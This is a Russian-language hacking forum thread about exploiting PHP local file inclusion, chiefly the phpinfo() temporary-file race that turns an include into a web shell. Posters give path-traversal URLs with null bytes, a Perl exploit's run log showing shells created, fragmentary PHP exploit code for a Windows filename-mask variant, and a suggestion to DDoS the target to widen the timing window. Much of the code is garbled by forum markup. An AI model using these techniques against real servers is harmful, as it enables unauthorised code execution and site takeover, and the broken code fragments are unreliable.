 |
|

06.10.2010, 00:23
|
|
Новичок
Регистрация: 04.09.2010
Сообщений: 3
С нами:
8256566
Репутация:
0
|
|
спасибо!освежил память и узнал новое
|
|
|

06.12.2010, 03:31
|
|
Новичок
Регистрация: 28.10.2010
Сообщений: 6
С нами:
8178806
Репутация:
0
|
|
Полезная статья. Компактно и по теме
|
|
|

05.04.2011, 13:36
|
|
Участник форума
Регистрация: 19.12.2010
Сообщений: 155
С нами:
8103926
Репутация:
85
|
|
Статья написана в хорошем тоне, автору +++
|
|
|

26.05.2011, 21:14
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Кстати, хотелось бы обратить внимание на заметки Електа и Шанкара в теме: /thread51096.html
Сообщение от Elekt
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]<font color="White">В продолжение "<font color="YellowGreen">Инклуд временного файла через PHPINFO()</font>".
Поковырялся я тут с сабжем. Есть что вам рассказать.
Действительно, временный файл удаляется намного раньше чем мы его успеваем считать с вывода <font color="YellowGreen">phpinfo()</font>.
Однако, в том случае, если после вызова пхпинфо идет еще код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его удаления.
Пусть есть сервер <font color="red">www.target.com</font>
На нем есть вывод <font color="YellowGreen">phpinfo()</font> - <font color="Red">http://www.target.com/i.php</font>
А также инклуд - <font color="Red">http://www.target.com/index.php?page=[LFI]</font>
Казалось бы, мы не можем увеличить время выполнения i.php , а значит ничего не выйдет.
Но это не так.
Мы можем подключить локально <font color="YellowGreen">i.php</font> через имеющийся инклуд, а поскольку после инклуда есть еще код , то мы получаем бонусное время задержки, которого при удаче может вполне хватить!
<font color="Red">http://www.target.com/index.php?page=../../../../../../../www/site/htdocs/public_html/i.php%00</font>
Тогда отправив на такой URL пост-пакет с файлом содержащем PHP-код, построчно считываем ответ.
И как только получаем имя временного файла - тянем время не разрывая коннекта, и тут же параллейно инклудим загруженный временный файл с PHP-кодом.
Теоритически атаку можно применить к большому числу движков, имеющих инклуд и вывод <font color="YellowGreen">phpinfo()</font> в админке.
Например тотже <font color="YellowGreen">phplive</font>, где при <font color="YellowGreen">magic_quotes=on</font> или без доступа к <font color="YellowGreen">/super</font> нельзя загрузить шелл.
Простенький эксплоит, автоматизирующий процесс, прилагается.
Я оставил закоментированными дополнительные поля - если потребуется - их можно легко заполнить необходимыми данными, например кукисом или реферером.
Эксперимент успешно проведен в локалке на файле с вот таким кодом:
1.php
</font>[COLOR="#007700"][/COLOR][/COLOR]
2.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Лог работы для примера:
Код:
perl phpinfo_lfi.pl" -p "/var/www/html/1.php" -l "http://192.168.1.200/2.php?page="
[+] HOST "192.168.1.200"
[+] PHPINFO "/var/www/html/1.php"
[+] LFI "http://192.168.1.200/2.php?page="
[-1-] Temp shell uploading. Please wait... Ok!
[-2-] Searching temp path to shell... Ok!
[+++] Temp path to shell found: "/tmp/phph3444w"
[-3-] Try to create new shell... Ok!
[+++] New shell created successfully: "/tmp/phph3444wshell"
[i] http://192.168.1.200/2.php?page=../../../../../../../../../../..
/../tmp/phph3444wshell
По идее надо испытать на админках в разных двигах, где выполняются условия.[/COLOR]
Вполне работоспособный метод несмотря на дату опубликования. Правда вся сложность заключается именно в том, что после инклуда должен идти код, на интерпретацию которого уходит некоторое время, которое даст шанс подключить залитый нами шелл. Вот сплоит:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
|
|
|

27.05.2011, 13:26
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
1 fail
2 fail
3 fail
4 fail
5 fail
6 fail
7 fail
8 fail
9 fail
10 fail
11 fail
12 fail
13 fail
14 fail
15 fail
16 fail
17 fail
18 fail
19 fail
20 fail
|
|
|

27.05.2011, 13:56
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Для успешной реализации требуется:
1. После инклюда, какие-то действия, которые задерживает время выполнения уязвимого скрипта (которого вполне хватит сграбить имя временного файла и проинклюдить его)
2. Достаточно широкий канал, что бы с наибольшей быстротой успеть сграбить и подключить файл.
20 итераций в скрипте, реализованы для большего профита, т.е. возможно что в первый/десятый раз не удастся сграбить имя, но на 15 может и получится.
Так же вполне реально можно поддидосить сервак, что бы он помимо интерпретации уязвимого скрипта, "задумался" над чем нибудь другим, и тогда время выполнения уязвимого скрипта увеличится, а вместе с ним и шансы выполнения уязвимости.
|
|
|

27.05.2011, 17:47
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Local File Inclusion в Windows
В Windows есть один замечательный финт (пруф: http://habrahabr.ru/company/xakep/blog/112691/), который позволяет проинклюдить файл по маске его имени, к примеру это одно и тоже:
[CODE]
file.php
file."); fclose($file); print \'ooook\';?>'[/COLOR] ."\r\n";
$head_file.=$boundary."--\r\n";
# создаем запрос для отпр вки
$headers="POST ".$url['path']." HTTP/1.1\r\n";
$headers.="Host: ".$url['host']."\r\n";
$headers.="Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n";
$headers.="Content-Length: ".strlen($head_file)."\r\n\r\n";
return$headers.$head_file;
}
functionsend($host,$temp)
{
$url=parse_url($host);
# открываем поток
if($socket=fsockopen($url['host'],80,$errno,$errstr,30) )
{
$data=data($host,$temp);
# отправляем запрос серве у
fwrite($socket,$data);
returntrue;
}
else
{
returnfalse;
}
}
for($i=1;$i[/COLOR]
[/PHP]
Лог работы примерно такой:
Код:
1 fail
2 fail
3 fail
4 shell: http://127.0.0.1/target.php?page=../../../../../../../../../../../../windows/tmp/sh.php
Работоспособность сплоита, напрямую зависит от нагруженности атакуемого сервера и шириной вашего канала, чем больше нагружен атакуемый сервер и чем шере канал, тем больше вероятность того что сплоит сработает.
Путь до временный каталог можно узнать в phpinfo если он не стандартный, по стандарту /windows/temp/
|
|
|

28.06.2011, 16:56
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
С нами:
9849598
Репутация:
126
|
|
инклуд это или нет?
|
|
|

28.06.2011, 18:07
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от heks
инклуд это или нет?
Если $DOCUMENT_ROOT перезаписать удастся, то да.
|
|
|

28.06.2011, 21:44
|
|
Участник форума
Регистрация: 16.02.2011
Сообщений: 180
С нами:
8018966
Репутация:
0
|
|
Очень полезнаю статья для меня!Автор молодец, что собрал столько инфы в одну статью!
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|